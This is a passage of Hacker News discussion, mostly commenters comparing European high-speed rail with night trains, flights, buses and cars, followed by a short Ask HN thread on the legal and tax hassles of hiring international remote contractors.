still operate. I'll fly, thanks.
~~~
alexeisadeski3
If nations applied the same silly security theater to trains that they force
upon aircraft, the train advantage would be cut to ~2hr trips.
~~~
dragonwriter
A hijacked train doesn't make as good an improvised missile as a hijacked
plane, so the threat profile isn't the same -- so its not surprising that the
security treatment is different.
~~~
comicjk
Far easier just to shoot down the planes, assuming reinforced doors, air
marshals, and passengers aren't enough. No, I don't think there's anything
rational about it, beyond the rational calculation of shirt-term advantage by
politicians.
~~~
dragonwriter
> Far easier just to shoot down the planes
Not if they are taken control of near their targets.
Prevention is clearly better than response.
> No, I don't think there's anything rational about it
To the extent that some of the actual measures are theater, they are theater
that has a real reason for being presented in the particular context they are
presented in. Some of them may be irrational _as security measures_ , but they
aren't _completely arbitrary_.
------
lmm
Most European rail networks are not profitable. Night trains have
approximately never been profitable for anyone, anywhere. They survived only
due to government subsidy, and those same governments are not subsidizing the
high-speed trains. The price difference has nothing to do with high-speed vs
low-speed and everything to do with government subsidy.
Cheaper and easier transport will always increase demand; either you're for
cheap transport or against it, and if you're for it you accept that it will be
used by commuters living further away from the cities they work in. Making the
rail networks cheaper, as the author seems to advocate, would only increase
this effect. Or is the argument that leisure travellers care more about cost
and commuters care more about journey time? Maybe, but the rail network would
be completely unsustainable without commuter traffic.
And as someone who travelled by EuroCity, they weren't the land of milk and
honey this author portrays; they were (and still are, in Eastern Europe)
frequently several hours late, leading to missed connections. I do think there
are cases for some international trains to be scheduled more sensibly (Italy's
high-speed trains that then sit for 30 minutes in each station on the way up
are ludicrous; Eurostar has sped up by several minutes over the last few years
by eliminating less popular stops), but at some point you simply can't match
the speed advantage of true high-speed rail.
The specific route complained about here is a dogleg for connectivity reasons;
what you're not seeing on his map is the line from Calais (and thence from
Britain) coming down to meet it at Lille. There are winners and losers in any
routing decision (basically the high speed lines her are a tree centered on
Lille, so rather than two distinct lines from Paris to Brussels and Calais
there's one line that branches. Longer than a direct train, but it avoids
building two distinct lines), but as a Brit I'm profoundly grateful for this
one, which makes day trips to Paris or Brussels plausible in a way they simply
weren't before.
~~~
joosters
_those same governments are not subsidizing the high-speed trains_
In the UK at the moment, the government is about to blow £50 billion on a high
speed rail link. If that's not subsidizing, what is?
~~~
mseebach
Yes, I think this is closer to the real problem here: Politicians just loves
these big, glamorous infrastructure projects, and anything "train" also tastes
green, so that's double the glamour for the same money, and any unintended
consequences are, well, unintended, so who can _possibly_ blame them for it?
HS2 has already been heavily criticized for overly optimistically assuming
away all problems with the line, and it would not surprise me one bit if one
of the assumptions in the cost/benefit analysis is that all existing
passengers will use the new line at double (or whatever) the cost, and that
the older slower line can close.
~~~
d4rti
I believe that the plan is to run both as the current line is over capacity.
As an avid UK train user, but not frequently on that route I support high
speed rail plans in general.
I'd like them to build the phases in the opposite order - first the links in
the North, then down to London.
A sad fact of the rail privatization, and the rail in general is that
governments seem to prefer the large infrastructure projects rather than
ongoing subsidy. From an environmental standpoint commuting by train should be
much cheaper than by car, but for many places in the UK it is far more
expensive.
~~~
michaelt
What I can't figure out is: If rail is so efficient and road travel so
inefficient, why is it that rail travel costs more than road travel, even when
the government subsidises rail companies and heavily taxes fuel and parking?
~~~
lincolnq
Frustrating, isn't it?
To be fair, subway travel in dense cities like NYC tends to be substantially
cheaper than road travel in most cases. (Think taxi vs. subway -- the taxi can
sometimes, but not always, get you there faster, but you'll pay a lot more. If
you have multiple people in the taxi it becomes more competitive though.)
Also, are you counting the cost of the car? If you don't have to buy/rent the
car then road travel might look cheaper than it is.
Nonetheless, in general I agree with you. I suspect there's a greater demand
for rail travel, pushing prices up. Nearly everyone I know prefers rail when
they can, since they don't have to drive or sit in traffic, but chooses road
often, primarily for cost and convenience reasons.
~~~
alexeisadeski3
1) Was under the impression that NYC subway system receives massive subsidies?
2) Private minibus, illegal everywhere in the US, would be cheap like a city
bus and of course much faster than the subway.
------
jzwinck
In Italy, you can arrive at the station without a ticket, and go to a machine.
The machine supports multiple languages. You can buy a ticket in multiple
classes on multiple speeds of service (roughly "regular", "fast", "high-
speed"). These trains are frequent, well-connected to regional buses, and
clean. The high-speed ones are fairly expensive, but the regular ones are
fairly cheap.
This is the way to do train service. And it's heavily used.
P.S.: if you really want a slow night train for cheap, visit Zimbabwe. A
"first class" sleeper cabin is about $10 from Bulawayo to Victoria Falls, and
it's beautiful. But every part of the 1970's British train has long since been
stolen--the lights, the faucets, the toilets, etc. Still, $10, and it goes to
interesting places.
~~~
Morgawr
I'm sorry but you forgot the other side of the coin there. I am Italian
(living abroad now though) and until last year I had been traveling a lot
across Italy.
Trains are a joke in Italy, every Italian person would be able to tell you
that. While we mostly use trains to move around from town to town, the train
service itself is abysmal. Dirty trains, missed connections, delays because of
problems in the infrastructures/scheduling. I used to take regional trains to
go visit my (now ex) girlfriend living in the neighboring city from mine
(which is Bologna, a pretty big train exchange/junction between the north and
center of Italy). Every single day my train would wait literally 100 meters
away from the station, stuck there for an hour or so (outside of its
timetable) because somebody messed up the platform and there was another train
incoming.
Yes, we have a lot of ticketing machines where you can just go there and buy a
ticket in 10 minutes, but actually getting to your destination is a whole
different deal in Italy.
Also, thanks to the new high speed trains (especially connecting Milan and
Rome), the fares for normal regional trains have skyrocketed as well (they
want to push people on the HS ones). I clearly remember doing Bologna ->
Florence for 7 euros 5-6 years ago, last year I checked again and it had
skyrocketed to 20-25 euros. That's a massive increase for just a ~1 hour ride.
EDIT: Forgot to add that this is all in the North where the infrastructure is
more mature and stable. The south is way worse, don't get me started.
~~~
peteretep
Never been able to understand why Italians are so down on their country. I
spent a week there a couple of years ago, mostly travelling by train. Italians
I had spoken to had me believing I should be bracing myself for North Eritrea
in terms of infrastructure, police corruption, and so on... the reality is
that it feels just like France. Admittedly I never went south of Rome...
~~~
olifante
It's a latin thing. I'm Portuguese, and we're also devastatingly critical of
our country. Talking to a French colleague yesterday, he also bemoaned the
negativity of his countrymen. Spanish people also tend to be suffer from the
same problem. I wish I knew how to push people into constructive criticism.
------
mschuster91
In Germany, even the low-speed trains have met a powerful competition in form
of coach bus lines.
The coaches are brand new, offer free WiFi, and are vastly cheaper than even
the lowest-price DB tickets.
edit: another quite popular travel solution is car
sharing("Mitfahrgelegenheit"); this is especially useful if you _must_ drive
with your own car (e.g. because you carry stuff you can't transport in a
train/airplane) and want to lower your own travel costs.
~~~
pathdependent
Although Amtrak (esp on the East Coast) could not be construed as high speed,
I suspect they are having a problem with buses too. Previously, I used Amtrak
without fail to get from NJ to DC and back. Now, I take BoltBus or MegaBus
unless they are fully booked. The bus takes 1-2 hours longer but usually costs
about 1/5 to 1/6 the cost of Amtrak. Plus, they both have fantastic customer
service whereas Amtrak seems to not care at all about their customers.
(Admittedly, I've had some bad experiences on Amtrak, but I don't think they
are particularly unusual.)
~~~
jzwinck
Amtrak in the east surely does not care about "low tech" or "slower pace"
people one whit. For example, all eastern corridor trains are off-limits for
bicycles, all the time. And the NYC-Montreal service, while being the perfect
duration for a night train (11 hours or so), only runs during the day, making
it positively absurd for anyone to take the entire journey (it's not cheap
enough for the unemployed).
Some buses will take bicycles, and they have more services each day too.
Amtrak may as well not exist except for specific commuter services such as
NYC-Boston Acela (which is not value for money unless you're in the 1%).
NJ Transit, LIRR, and Metro-North are fairly cheap, compared to their
counterparts elsewhere in the first world. Too bad they're not long-distance.
~~~
superuser2
Amtrak is _excellent_ for Milwaukee<->Chicago. 1.5 hours, impervious to
traffic, clean, comfortable (like a first class airplane seat), $24. It gets
pretty high utilization too.
------
antr
The title to me is link bait, and the post considerably biased towards
pricing, which is an important factor, but not the main reason I use high-
speed rail. Not to mention that the author fails to mention how important, in
passenger volume terms, are some of the routes he mentions e.g. Barcelona-
Paris, come one, +800km on a train it isn't going to be cheap nor fast. High-
speed travel works for shorter distances under 500-600km, not this.
I travel on high-speed rail 2-3 of times a month, and this is my choice over
air travel because:
> Pricing: On average the train price is c. 20% more expensive than the plane,
> but that is one side of the story.
> Travel time: the fact is that the time I require to go to the airport is a
> minimum 30min ride (if I'm lucky) from city centre to airport. Add to that
> the need to be there 45min before the plane departs, and any of the usual
> delays. That's at least 1h 15min of my day gone in commuting to travel. If I
> travel by train my commute is not that different than that of going to work
> by bike, needless to say that the train gate closes 2min before departure,
> not 45min.
> Location: the train station being located at the city centre is extremely
> convenient, forget about getting a taxi and bumping into traffic, paying
> arbitrary "airport" fares, etc.
> Comfort: the leg space, seat width, baggage allowance, etc knocks out air
> travel. I can open my laptop on a tray way bigger than those on planes and
> comfortably work all the journey with my 3G/4G connection and get real work
> done.
> Flexibility: train frequency is much higher than that of planes, so finding
> a time that fits my agenda is not a problem. Add to that the fact that you
> can catch an early train if, for example, you finish your meeting/work
> early, without paying additional fees.
~~~
joosters
I think the article is really complaining about the difference between high-
speed and normal trains, rather than the train<->plane comparison.
In your own example, you could be catching a slower train and still get there
faster than the plane. It's not really the 'high speed' bit of the train that
matters much.
You can also argue that nowdays it matters even less. With WIFI/3G, as you
say, you can get useful work done on a train journey, so even if it takes a
bit longer, the travel is not dead/wasted time for business. This weakens the
case for high speed trains even more.
I agree with your points though, I've commuted London<->Paris by plane and
train, and the train is so much nicer.
~~~
antr
I get your point, but these are my two options:
[http://d.pr/i/Mnhm](http://d.pr/i/Mnhm)
Top row, slow-speed train; bottom row HST; first column departure time, second
column arrival time, third column travel time. If you need to be at a meeting
by 8.30am which train would you get? One has a travel time of 4h 16min vs 1h
38min, HST has a higher, marginal, price difference.
------
epaladin
I haven't been to Europe yet, but after living in Japan for a year and then
returning to the US, there's nothing I miss more than trains that go fast and
go everywhere. I could wake up, walk down the street, hop on the train, and be
350 miles away before getting bored of staring at the back of the seat.
They've managed to get by without much cannibalization of other services (you
can still get to anywhere on normal-speed trains) and it seems that revenue
ends up being at least more than operating costs. They obviously make a great
deal of sense in Japan, and perhaps less so in Europe and the US, at least for
cross-country service. Regional services would be fantastic for key areas, and
I don't see why we couldn't make it work. Unless we just skip right to
Hyperloop?
~~~
m_mueller
The big reason why Japanese high speed trains are so good and why they haven't
cannibalized anything, is that they've built new tracks for them _everywhere_.
Shinkansen aren't even compatible with normal tracks, they are wider (another
reason why they're so spacious and offer such a smooth ride). There's simply
nothing in the world that even comes close to the Japanese train system. As an
indicator, here's a list of the 50 most frequented train stations in the
world:
[http://www.japantoday.com/category/travel/view/the-51-busies...](http://www.japantoday.com/category/travel/view/the-51-busiest-
train-stations-in-the-world-all-but-6-located-in-japan).
~~~
ggreer
A clarification: Shinkansen use the same 1.435 meter standard gauge as the
continental railroad. Other trains in Japan use a narrower gauge. In modern
times, wider gauges don't have much of an advantage in comfort. For example,
the notoriously loud-and-shaky BART uses a 1.7ish meter gauge.
~~~
rdl
Broader gauges generally do allow wider cars, which is a plus for comfort.
Wide 2x2 seating with a wide aisle is nice to have; wide 3x3 or 3x2 is
probably not going to work on standard gauge.
------
rowyourboat
I never understood why HSTs are supposed to be in competition with planes.
For short trips (<500km), HSTs generally win against planes when comparing
door-to-door times, but so do cars. For longer trips, planes win. Period.
To me, the HST is what makes the train able to compete with the car for
medium-distance travel. Let's take an example from Germany: Hamburg to
Frankfurt. It's about 500km, which takes 4-5 hours by car. The HST link takes
3:30h - if you take the time from station to station. But that's not a fair
comparison, because generally you do not want to go from station to station
but from some place in Hamburg to some place in Frankfurt. If we add an hour
of traveling by local public transportation, we arrive at a local trip time of
4:30, in the same range as the car. The HST has made traveling by train a
viable option - not insanely fast, but comparable to the car.
Mass transit is slow compared to cars. HST is fast. Combine those, and HSTs
make public transport a viable alternative to going by car, time-wise.
------
Theodores
If I owned a railway I would like to use shipping containers to provide a
night train service.
The shipping containers would be self contained and appointed to budget hotel
chain standards - clean, smart and to the point functional. Each would contain
a small kitchen, toilet and shower. The beds would be bunks but with a bit
more space as there would not be a shared walkway as happens on existing
rolling stock. You would also be able to stow bicycles and other bulky luggage
items without blocking up the train walkway if you were willing to go without
much kitchen area.
During the day the mini-hotel shipping containers would sit at the docks, out
of the way, whilst the train went about its business delivering normal
shipping containers to wherever is needed. Then, early evening, the mini-hotel
shipping containers would be loaded up and the train would head off to
London/Glasgow/Plymouth to pick up customers. The train would trundle at a
nice sedate pace through the night with minimal stops and starts to arrive at
a sensible time at the other end (5.30 a.m. is too early, 7 is good).
Thereafter, back to the docks, unload and regular freight service for the
train.
To cope with seasonal demand and different passenger service levels (1st, 2nd
class), the train could be loaded up with a mixed load of regular shipping
containers and their mini-hotel variants.
Modern IT niceties such as wifi, 'swipe' door locks and mobile telephony would
make sure that everyone had a nice and secure journey. With 'aerogel' style
materials and double glazing the inside of the mini hotel would be insulated
from the noise of the train and the weather.
Current night trains in the UK do not provide a good night's sleep, you also
expect your belongings to be potentially stolen. With 'containerisation'
problem solved.
Would there be any takers? It all depends on price, however, if you are
expected to be in two places at once or work on a North Sea oil rig then a
decent night train would be quite tempting. If the business did not work out
then a buyer could be found for the deluxe shipping containers, they could be
transported by road to somewhere where a temporary workforce was needed or
even used as a hotel.
~~~
mschuster91
A nice idea - yet technically unfeasible.
First problem is the time and storage you need for loading/unloading a whole
train worth of carriages - I expect at least 30-60min, if not longer. And most
container facilities are not equipped with large storage areas, just for
short-term storage.
Second problem is power: a freight train carriage usually just has two
connections to its neigboring carriages: torque and the pneumatic brake line.
Basically you'd need to somehow add electricity infrastructure (which 'd then
again require specially modified freight carriages, and likely even different
locomotives. I'm not sure if freight-only locos carry the 1kV heating power,
which is (ab)used to provide electricity in passenger trains).
Third problem is maintenance and cleaning: container load/unload facilities
are not equipped with the place and the necessities for properly cleaning the
containers, and even less maintaining them.
~~~
pjc50
I think not so much as "unfeasible" as "does not offer any benefits that could
not be achieved with normal night train carriages".
------
lispm
German here. I have a Bahncard 100, which allows me unlimited train travel
(plus unlimited local public transport in many cities) in Germany with most
trains for one year. Fast or slow. I don't care. I usually pick the faster
one.
[http://www.bahn.de/i/view/DEU/en/prices/germany/bahncard.sht...](http://www.bahn.de/i/view/DEU/en/prices/germany/bahncard.shtml)
Deutsche Bahn also advertizes that they use renewable energy for my Bahncard
travel and they will expand this over the coming decades to 100%.
~~~
sami36
It also costs close to 5000 euros per year. That's a little more than you'd
lose to depreciation if you owned a luxury car. If you have to travel that
much inside Germany to make that card worthwhile for you, then you have a
problem. Either you need to relocate or inject some telecommuting into your
existing work habits. I'm going to go out on a limb here & suggest that many
people travel for travel's sake as a way to give themselves an inflated sense
of their own importance...or just find some glamour in being on the road all
the time.
~~~
lispm
Travel with a car long-distance is not an option. I'm not going to drive 400km
early in the morning with a car and be relaxed in the office at 9:30.
> If you have to travel that much inside Germany to make that card worthwhile
> for you, then you have a problem.
The 'problem' is called 'WORK'. A little bit more than 40000 people have such
a card.
> Either you need to relocate
No option.
> some telecommuting into your existing work habits.
Sure, I do that.
> I'm going to go out on a limb here & suggest that many people travel for
> travel's sake as a way to give themselves an inflated sense of their own
> importance...or just find some glamour in being on the road all the time.
Maybe it's not that good to 'go out on a limb here and give useless
suggestions. You seem to fail to understand that a lot of people have to
travel as part of their work to meet customers.
In my case I work with people which are located in different areas of Germany
and I have to meet them face to face quite often.
~~~
sami36
In my case I work with people which are located in different areas of Germany
and I have to meet them face to face quite often.
No, you don't. unless you're a handyman whose physical presence is absolutely
required, both you & your client are simply indulging in such an idiotic
wasteful behavior because it makes you both feel good. 1- Your client is
holding up to some anachronistic notion that having an employee physically
present informs them about your competence or diligence. 2-you like traveling
400 km & being at the office at 9:30, it makes you seem important, which you
may well be. just not enough to justify this ridiculously expensive card & all
the environmental impact its ownership entails.
For years, I used to fly coast to coast every week, consulting for a major IT
company in the US. It was completely idiotic even then. A knowledge worker's
physical presence is not really required in this day and age, it's all part of
some old heritage of employer-employee relationship we can't quite let go of.
Germany being Germany, rigid & set in its customs & ways of doing business, if
given no other choice & out of fear for my income, I would relunctantly agree
to such an arrangement. I just wouldn't go boasting around about how great of
a deal this card is.
------
paddy_m
He states that there was more air travel in Europe, and more trips taken in
general because of HSR on routes that used to be serviced by air, thus there
was no decrease in pollution, instead an increase. This is such a regressive
attitude towards transit. Travel makes us all richer, more of it is a good
thing (commuting is a different beast).
My understanding is that overnight trains and the other trains that were less
expensive were heavily subsidized and unprofitable. My guess is that HSR in
Europe is less subsidized and closer to profitable. Many forms of
transportation are subsidized (highways for cars, TSA for planes, HSR
projects). The subsidies distort choices and encourage inefficient waste by
not letting consumers decide with true information as to the costs of their
mode choice.
~~~
jonsen
_Travel makes us all richer, more of it is a good thing_
Sure, this world can now afford constantly to have about one million of its
people sitting in a chair in the sky.
------
yread
I think a lot of the differences boil down to once-a-day point-to-point
connection of classical or EuroCity trains versus corridors for frequent high-
speed trains. Thalys goes every 2 hours, Etoile de Nord once a day.
That's why bullet trains work so well in Japan, you can basically have 2
corridors one on each coast and they will pass through most of the important
cities removing the need for direct links.
I do agree with the article in most of the points. I have traveled Amsterdam-
Perpignan (the last french city before Barcelona) with Thalys and low-cost
night train (and TGV and Thalys on the way back) and I can attest that the
night train is indeed quite uncomfortable. At least I could take a gas
canister (for hiking) with me...
------
vmlinuz
In about 6 weeks, my girlfriend and I will be flying into Frankfurt - because
that was an available cheap flight via China from Hong Kong, where we live.
We will be travelling from Frankfurt to Strasbourg (fast train, 1 change),
from Strasbourg to Brussels (fast train, change in Paris), from Brussels to
Amsterdam (fast train, direct), and from Amsterdam back to Frankfurt (fast
train, direct). Total price for these train journeys, for two people, is €330
- because I booked the apparently hard-to-get cheap fares.
Compared with travelling by plane on low-cost carriers: We will mostly be
going from city centre to city centre. We will have power at our seats in at
least some cases. We will be free to get up and walk around for comfort. We
will be able to bring our own food and drink onboard. We will get to see some
of Europe passing by the window. And we will have to be on the platform a
couple of minutes before departure time, not an hour or more...
Trains make more sense, in terms of service and cost, over short-to-medium
distances. Barcelona to Amsterdam is probably over the line where flying makes
more sense. Our Strasbourg to Brussels journey will take around 5 hours, but
over 1 hour of that is time to change trains - and stations - in Paris, so I
think that still falls before said line.
------
Kequc
When you're looking at a 12+ hour train ride with two changes and 200€ vs a
1.5hr flight for 30€, as seem so often to be the options. To someone who hates
visiting airports more high speed trains can't get here quickly enough.
------
jff
Low Tech Magazine: Drawing arbitrary boundary lines sells. 150 year old
technology (trains) = ok, 100 year old technology (airplanes) = not ok.
------
PhantomGremlin
So many comments but only one passing mention of "Eurail" in this discussion.
[http://www.eurail.com/](http://www.eurail.com/)
So, help an American (potential tourist) out. Does using Eurail for a European
vacation make sense? For a family of 2 adults and 2 children?
E.g. getting the "15 days continuous" pass is $548 + $548 +$276 + $276 =
$1648. That doesn't seem unreasonable for being able to go pretty much
anywhere except UK.
Does that make sense?
~~~
CookWithMe
In addition to the itinerary, it also depends on your planing. If you want to
be very flexible, it's most likely cheaper than buying a long-distance ticket
at the station/in the train.
If you want to plan and book your trips ahead of time, it may well be that,
with early booking discounts, it's cheaper to book ahead of time. This would
also allow you to reserve seats/a table, which I'd recommend if you travel
with kids.
Also note that in Germany, and maybe in other countries as well, kids < 15
years travel for free with their parents if noted on their tickets.
If you travel a lot within one country, you may also want to check their
frequent traveler programs. E.g. in Germany, the DB sells cards that give you
25%, 50% or 100% off of the ticket price. The 25% one can be ordered for a
duration of only 3 months and costs 19 Euros, so it should pay off quickly!
Note, however, that it is an subscription that you need to cancel.
Enjoy Europe :-)
------
stuaxo
This is sad. I wonder if the high speed trains need to be this expensive
(through energy use etc). Also, if the lower speed ones are being shut merely
to move people onto the higher speed lines.
Certainly in the UK, with high speed one, they introduced an extra delay into
the old line to make it seem less competetive.
I'm guessing that nearly double the price for a 20%-25% decrease in journey
time is more than a sane person would want to pay.
~~~
awjr
I'm wondering if this type of analysis has been done for HS2
([http://hs2.org.uk/about-hs2/facts-figures/route-trains-
cost](http://hs2.org.uk/about-hs2/facts-figures/route-trains-cost)). I can see
a situation where routes are closed to force uptake of the HS2 route thus
making HS2 a 'success'.
I would highlight that the cost of air flights is kept artificially low by the
lack of fuel duty or VAT on fuel. So flights do come across as cheaper. Of
note, in the UK public buses are able to claim a fuel duty rebate. I am unsure
on the situation with diesel trains.
------
drill_sarge
The price model of the rail company doesn't make much sense here (germany). I
can travel from Berlin to Paris cheaper, than I can from Frankfurt to Munich
for example. But then they have special offers for certain regions sometimes,
which you can combine with regular tickets for the rest of your route, which
makes it cheaper again. Or in combination with a flight ticket. Or traveling
in groups with special ticket, or traveling in a certain region with a
specific train and so on. It is so complicated and confusing that even the
staff at the train station can't always tell you whats the best ticket.
------
danmaz74
It's a bit disingenuous to compare prices from the 90s to today's without
accounting for inflation.
~~~
k-mcgrady
>> "Paris-Amsterdam over the same route (the blue line) would now cost 66
euro"
The 'now' indicates he is probably accounting for inflation.
~~~
danmaz74
Possibly, but it's a very important thing to specify. It wasn't at all clear
to me he was :)
------
stcredzero
What unintended effects would the Hyperloop have? My limited experience with
the California train system is that it's no good unless you are in no hurry,
or your travel just luckily happens to coincide with the right time and place.
------
rdl
It was pretty amazing pricing DB train tickets vs. Eurail passes (I'm going to
30c3 and will probably be in Europe 25 DEC to 12 JAN). A single 2nd FRA-HAM-
BER trip costs more than a 5-travel-day pass, in first on ICE.
------
yoloswaggins
Cars are killing Horse Drawn Trolleys.
------
bane
I've ridden through bits of Central and Northern Italy, Rome to Florence to
Venice all on regular 'old trains. And little tiny bits of France as well.
I've also ridden trains in the U.S. from D.C. to Miami.
Italy was an absolute pleasure. An easy walk to the stations, even with
luggage. In Rome the rail network is an easy connection off of the subway
system and in Florence lets you off and on so near the old parts of the city
(which are fantastically walkable) that you don't even need a cab to get
there. Seats were comfortable for the 2 or 3 hours the trip took, had a table
to setup a laptop, read a book whatever. I sat in group of four seats that
faced each other and had a lovely chat with an elderly couple from Scotland on
holiday.
Florence to Venice was similar, except my destination was outside of Venice
and took a little more to get to from the station. No big deal and it beat
having to deal with a rental car for a few weeks.
Importantly, the ride was unbelievable smooth compared to other rail trips
I've taken.
Amtrak was my first long distance rail trip and was very bleh, seats were
okay, but nothing to do on the 20+ hour ride from D.C. to Miami. This was back
before laptops were common, but even with a pack full of gadgets I would have
run out battery long before I ran out of boredom. Impossible to sleep on the
train as it's noisy and jostles all over the place since we were on old
freight rails for the entire trip. People also get so bored they start pacing
the length of the train and with numerous stops were cars are split of and
rejoined to other trains, and waits of a couple hours each time this happens,
you feel like you make no progress at all. Trains were old, but in decent
shape and generally well maintained. I've heard sleeper cars provide for a
moderately better experience, but there's still the hours of boredom. I also
didn't see any scenery of note, either mile after mile of overgrown weeds or
industrial sections or really bad parts of towns we passed through. The worst,
stations are hard to get to/from at the end points without prearranged
transport and they aren't really all that nice. I regret the trip as flying
would have only been $100 more and much faster. Every once in a while I think
about taking the train North towards the better run North-East corridor parts
of the system, but that one experience kind of waived me off the whole thing
and with the stations so hard to get to and flying to my destinations faster
(even with security hassles included) and about the same cost it just isn't
worth it to me.
My experience in France was on much shorter, hour or two trips, and they were
"ok" if a bit run down. Graffiti on the trains, that sort of thing. Felt more
like extended commuter trains (which they probably were) then proper passenger
rail. It was somewhere between Italy and Amtrak in terms of comfort, but more
towards the Amtrak side in terms of desirability.
~~~
dworin
When people compare train travel in the US to Europe, they tend to forget the
huge differences in distance. Washington, DC to Miami is five times the
distance as Rome to Florence.
Trains are a better value than flying when the difference between the two
trips is only an hour or two, so that the advantage of not having to go
through security and getting dropped off downtown actually pays off. For
longer trips, the fast that a plane travels five to ten times faster really
shows.
That's why the North East Regional service, especially the shorter routes
(i.e. DC to New York or New York to Boston, and points in between) is much
more effective than flying. They also have free WiFi (with middling
reliability), more comfortable seats, and outlets in every row.
As an addition, I've also found that most people overlook how convenient,
affordable, and quick intercity bus service is in the US. On most routes, a
bus will offer more departures for about 1/5 the cost of the train and 1/10
the cost of flying. The seats aren't as comfortable, but for short routes,
it's only a little bit slower.
~~~
bane
I think outside of the Big Northeast cities, train travel in the U.S. is
problematic because of the distance to stations and the lack of facilities at
those stations to handle long-term parking. Other transit options aren't much
help as well. Buses don't cut it for most of the U.S. outside of urban and
semi-urban centers for similar reasons (transit to/from the stations). Taxis
"work" to fill this in, but are very expensive.
To give an idea in my area, I live about 35 miles from D.C. in a pretty normal
suburb (no boondocks). I have a commuter bus I can take at 5:30am that's not
far from my house (about 3 miles and semi-walkable but there's no way I can
take luggage). On the return trip, if I don't make it back to the commuter
stop by 4:30pm I have to spend the night in the city or take a taxi (very
expensive).
Driving takes about 2-3 hours in traffic, and there's no long-term parking at
reasonable rates (parking is available near the station at about $27 a day).
A taxi would work, but it's the same distance as driving and probably north of
$100-150 for the trip each way.
There are two Amtrak stations a bit closer than the city, but not much and the
transit options are either drive and have no place to park at all or taxi.
Even if I moved in closer to the city, unless I'm within walking distance to
one of the D.C. metro I'm still largely in the same boat with slightly less
time and money penalties.
So even if I wanted to take the train on a trip that had comperable time to
air travel (say to New York on the Accella), the time and cost involved make
it far less convenient.
I have taken intercity bus services before because the cost is remarkably
cheaper. D.C. to NYC for <$50 in about 4.5 hours. But still with the same
issues as the train.
~~~
dworin
That speaks to the problem of train travel on the opposite end: it's really
only feasible in the half-dozen or so American cities that have highly
reliable, built-out intra-city public transportation. If you need a car when
you get there, the train doesn't work. That's one of the reasons I'm so
skeptical about any high speed rail that terminates in LA.
Many of the inter-city buses also stop at Park-and-Rides outside of the
downtown cores, so that people can both drop off their cars and get picked up
by people who have them.
~~~
bane
California is a very strange place to consider for rail, especially an LA<->SF
line. LA is a car focused mess with useless public transport and huge
sprawling connected cities and SF, though better downtown, has a huge Bay Area
with similarly craptastic public transport (though not quite as bad as LA).
------
delinka
i.e. competition changes markets.
~~~
skrebbel
Very little railroading in Europe have anything to do with markets and
competition. Most rail companies are either state monopolies, or state-
endorsed almost-monopolies. Replacing a cheap option by an expensive and just
slightly better option is very typical monopolist behaviour, and that's what
this article is about.
~~~
d4rti
Or the UK's disastrous worst of all worlds system, of which the best run piece
is run by the State! [1]
Unless you're willing to build redundant train routes between cities it's not
really possible to have competition for train journeys.
[1] [http://www.bbc.co.uk/news/uk-
politics-22700805](http://www.bbc.co.uk/news/uk-politics-22700805)
------
squozzer
I like trains. Really! But maybe the proper question is not, "Why build high-
speed rail?" but "Why travel at all?"
Especially the example given about those who live in Barcelona and commute to
London by air. Probably not just because it's cheaper -- I'm sure the
differences in weather had a minor influence too.
But you might have heard about this thing we have in Bonerland called the
Internet. Al Gore invented it, so it has to be green. Maybe you Euro-peons
should check it out.
~~~
walshemj
Realy - you have been drinking the video conferencing salesmans cool aid FTF
beats the internet hands down for 90% of all workers
------
auctiontheory
Anecdote: In France, the system sold me a ticket for a non-existent day. I
knew I was returning to Paris on a Saturday, so to buy my ticket I clicked on
Saturday the 24th of May on one of those typical select-a-date web map UIs
you've all seen. Except that the 24th of May was Sunday - I didn't double
check my purchase against a calendar.
So on "Saturday," ticket in hand, I was evacuated from my seat and had to
stand for a couple of hours - of course everyone pretended not to speak
English - and I suppose I should be grateful I wasn't defenestrated into the
French countryside.
Earlier, at the small station, I had let a woman who was obviously in a hurry
pass ahead of me to buy a ticket. She said to me "obviously you are not a
French man." :-)
| {
"pile_set_name": "HackerNews"
} |
Ask HN: How hard is it to hire international remote workers? - alphagrep12345
If you're in USA/UK/Australia and are trying to hire remote workers from another country, how hard is the legal process? Is this something a small startup could think of doing? Or do they just not do it because of the legal hassles?
======
davismwfl
To do it legally & properly it is a pain and does require a lot of setup and
isn't generally super cost effective. I highly suggest no small business try
to "hire" internationally at least based on my experiences dealing with it. If
you want to use international people do a contract type relationship which
while it can still put you under tax scrutiny it is a lot easier to manage and
do. Either way you will need legal advice because the moment you start having
someone in another legal jurisdiction start doing work for you there comes
with it different IP laws, protections or the lack there of and stuff like
that. So you need legal advice to protect the business both at home and
abroad.
This is at least as a US Company, I don't know about how UK or Australian
businesses might differ.
------
jimmyvalmer
Employee or contractor? Employee is always a pain. Contractor, on the other
hand, seems like a home run for all parties. In the US, no tax reporting or
withholding as long as the contractor does all the work remotely.
~~~
davismwfl
Be careful with the no tax reporting, that is not totally true. If you are a
US business sending even modest sums of money to foreign bank accounts you do
have reporting requirements to the US government and you may have tax
obligations owed to the destination country. Other countries don't have the
same laws as the US, and at least in some cases I have avoided hiring
contractors from certain Countries in the past because I was advised since it
was work for hire we would be required to pay tax on the money that was
"imported" into the destination Country.
~~~
jimmyvalmer
My sense was get the W-8 BEN from the foreign contractor, and you're relieved
of all reporting and withholding. The burden is entirely on the contractor to
his home country.
~~~
davismwfl
Yea, it can be pretty easy in many cases, but it is case by case depending on
the destination Country and citizenship of the receiver. This also gets more
complicated if the contractor visits the US in relation to their business with
you, at which it can be argued they have transacted business within the US and
now that may change the status in the US too. It also makes a difference if
they are contracted as a business in their home country or an individual, as
that changes the rules some too.
I don't disagree about using good people wherever they are, just I am cautious
on blanket statements anymore cause so many things can bite you and the rules
aren't always so straight forward when you cross international boundaries. So
the key is just to get some legal/tax advice so you know the best way forward.
It is definitely very doable and doesn't have to cost a fortune if like you
said it is a true contractor and they do not hold US citizenship or travel to
the US for business and they are working from a Country the US has a treaty
with. It can get more complicated if those aren't the cases.
edit to add this: Also if you do business in their home Country, e.g. sell a
service even over the Internet that can change the tax situation too in their
home Country for you (based on their Country's laws). Another thing to always
consider, doesn't rule anyone out, just something to ask about.
~~~
jimmyvalmer
Your useful-information-to-words ratio is very low. Exceptions to US tax law
fill entire bookshelves, we all know this.
~~~
relaunched
[https://news.ycombinator.com/newsguidelines.html](https://news.ycombinator.com/newsguidelines.html)
Be kind. Don't be snarky. Comments should get more thoughtful and substantive,
not less, as a topic gets more divisive.
When disagreeing, please reply to the argument instead of calling names. "That
is idiotic; 1 + 1 is 2, not 3" can be shortened to "1 + 1 is 2, not 3."
------
alt_f4
Pretty easy if your remote worker has a LLC. You get an invoice for services
and file it like any other business expense.
It's quite hard if you want him to be an employee though.
| {
